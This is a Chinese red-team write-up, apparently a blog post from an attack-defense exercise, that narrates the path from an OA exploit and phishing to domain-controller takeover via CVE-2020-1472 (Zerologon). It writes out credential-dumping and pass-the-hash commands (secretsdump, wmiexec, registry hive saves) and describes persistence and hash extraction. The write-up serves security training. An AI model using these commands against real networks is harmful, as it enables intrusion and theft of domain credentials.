拿下域控后,我还是对大佬的操作念念不忘 | 技术精选0129


本文约2900字,阅读约需7分钟。


历来攻防演练中,我都笃信一个道理——吃饱了才有力气干活。所以,在清晨的客户现场,当看到大佬满意地吃完了我带来的煎饺,我知道这一战,我们作为攻击队,基本已经拿下了。


虽然说的每一句话都带着一股醋味儿,但是大佬的含金量不容置疑——理智分析战况,果断找到目标,一切行云流水。


大佬告诉我们哪些站是好打的,哪些是不好打的。我们的任务是重点关注好打的站,找找OA、邮箱这些系统给他。随后,他顺手给我们丢了一个域前置的免杀“马儿”和代理池。


听完战术指导,信心激增。话不多说,立即开始!


1

对抗开始

识别了一波子域名。这样看起来并不美观,秉承着技术亦是一门艺术的心态,把子域名加载进了goby:


这样看着就舒服多了:


识别后的资产,可攻击的点有Web系统后台、数据库和一些中间件。测试了一下Struts2、Java、Shiro等等,均利用失败。

批量测试了一下数据库,跑出来一个弱口令。果断登录上去,看了下,数据不多,没有可用的数据,估计是个测试站,提权也没成功,放弃了。


接着测试后台弱口令,这个没有验证码,尝试Top100密码爆破。


有点东西,但还是没找到可突破的点。


这时,看了下Fofa的浏览器插件,旁站有个OA系统!


众所周知,此系统在url后面加个admin.do即可出现管理员登录页面。找到这个系统,第一件事当然是丢给大佬。


大佬终究是大佬,不负所望,没过多久,就给我发了一串神秘代码,我也是心领神会,给了大佬一个友善的目光。


将大佬的神秘代码输入进去,成功点亮,拿到一台Linux的root权限shell。


过一小会儿,大佬又发来了管理后台的密码。这里可以看到邮箱的配置。密码是加密的,但是问题不大。


F12,可从前段页面的value参数查看明文密码.并尝试登录邮箱服务器,发现是可以登录成功的。


接下来我们就开始商量着要不要试试钓鱼,毕竟能直接打进办公区的话,要比从dmz区慢慢打进去要方便得多。

大佬说干就干,转头写好了一封邮件,看得我直呼内行!(图片过于敏感,此处不便展示)

片刻之后,叮咚~叮咚...您有新的主机上线~这清脆悦耳的声音,犹如子夜风吟,一切都是那么美好。

看着不断上线的主机,不急,让**再飞一会儿。

去除重复的,一共有6台主机,发现里面还有一台Windows服务器。我们分配了一下任务,每人分配几个shell,一起先主攻这个内网。


Dumphash看了下内存信息,找到几个明文的账号密码,存在域环境,先记录信息,方便后面使用。

通过nettime /domain查看,确定存在域。


然后使用nslookup解析该域名,解析出来多个ip地址,应该是存在多个主备域。


使用nmap扫描这些主机的389端口,确定为域控主机,找到域控就方便多了,可以试试直接打域控。


早上就先到这里,现在正是用电脑的高峰期,所以很多操作不便现在进行,先设置计划任务做好权限维持,再简单的搜集一下信息。

过程中掉了两台主机,又上线了几台疑似沙箱的主机,估计是被发现了,样本拿去检测了。

2

旗开得胜

等到休息的时间,我们就开始正式干活了。上传fscan,探测ip段。

登上去了Windows服务器看了一下,看着这个页面,在做项目迭代升级,并且根据邮箱里的内容,判断这应该是开发经理在使用。

在邮箱里面还找到了一些他们内部的默认密码,这些信息都是可以尝试利用的。


然后在右下角看到有IM内部通讯软件,姓名,性别,部门,ip等等信息都有了...这就是拿到了内部通讯录了,这里本想再钓一次鱼,然而大佬说了,可以,但是没必要。


现在有两个思路。一是直接打域控漏洞,二是爆破域控密码。显而易见,利用漏洞的方式为上策。

所以现在的任务是他们继续去负责横向(此时大佬已经用现有的密码,拿到了20多台Windows+Linux的主机权限,权限够多就不怕掉线了)。


我来尝试漏洞利用,那么首先想到的漏洞就是CVE-2020-1472NetLogon特权提升漏洞,该漏洞不要求当前计算机在域内,只要能访问到目标域控并且知道域控主机名和域控ip即可利用。

利用该漏洞重置域控的机器密码,然后使用空密码即可登录域控。不过最主要的是要记得还原密码,不然存储在域中的凭证与本地注册表里的凭证不一致时,会导致目标脱域。

使用poc,对主备域控进行漏洞验证。

众望所归,在测试了10多个域控之后,终于测试到有一台域控验证成功了!这是振奋人心的绿色!
python3poc.py 域控主机名域控ip


验证成功后,使用脚本清空域控的机器凭证。

python3poc.py 域控主机名域控ip


使用空凭证查看域内账号密码,看到有个krbtgt账号,可以生成票据。

当然这里我们就不用它了,因为第一个是sid为500的账号,那这个就是域控管理员了,后面则是密码hash,可以先尝试解密,如果能直接解出明文密码,就可以直接登录,解不出来的话就先用hash连接。

事实上,账号数量确实太多了。其实往下翻是可以看到已被清空的机器账号主机名$,密码hash已经变成了31d6cfe0d16ae931b73c59d7e0c089c0(空密码)。

python3poc.py 域名/域控主机名$@域控ip-just-dc -no-pass


拿到了域管理员账号和hash,赶紧登录域控,这里使用wmiexec进行连接,下图登录成功,起飞!

python3wmiexec.py -hashes xxx:xxx 域名/管理员用户名@域控ip


Powershell上个cs的马,使用如下命令获取dump域控保存在本地注册表的原始主机账号密码。

regsave HKLMSYSTEM system.save
regsave HKLMSAM sam.save
regsave HKLMSECURITY security.save

再使用脚本还原主机密码:
python3secretsdump.py -sam sam.save -system system.save -securitysecurity.save LOCAL

得到$MACHINE的hash:


python3reinstall_original_pw.py 域控主机名域控ip$MACHINEhash


那么到这一步之后,漏洞利用就完成了。再到cs上hashdump获取密码,拿着密码登录域控,有了域控就可以查看域内所有用户和终端服务器了,接下来的事就是搜集各种信息数据了。

大功告成!打完收工!


3

总结

最后,梳理一下攻击路径。

首先,利用OA漏洞拿到邮箱账号密码;

然后钓鱼拿到内网域终端;

接着定位域控,使用CVE-2020-1472poc确定存在漏洞的域控;

随后重置域控机器密码,拿到域控命令执行权限,上线cs;

最后还原机器密码,读取域控内存拿到明文密码,登录域控。

不到一天的时间,从外网到拿下域控,思路正确,效率自然提升。

珍惜那些可以为了比赛彻夜不眠、与小伙伴协同奋斗的岁月吧,那是为了自己而努力绽放的时光,短暂又美好。



- END -

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/176483.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:94 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号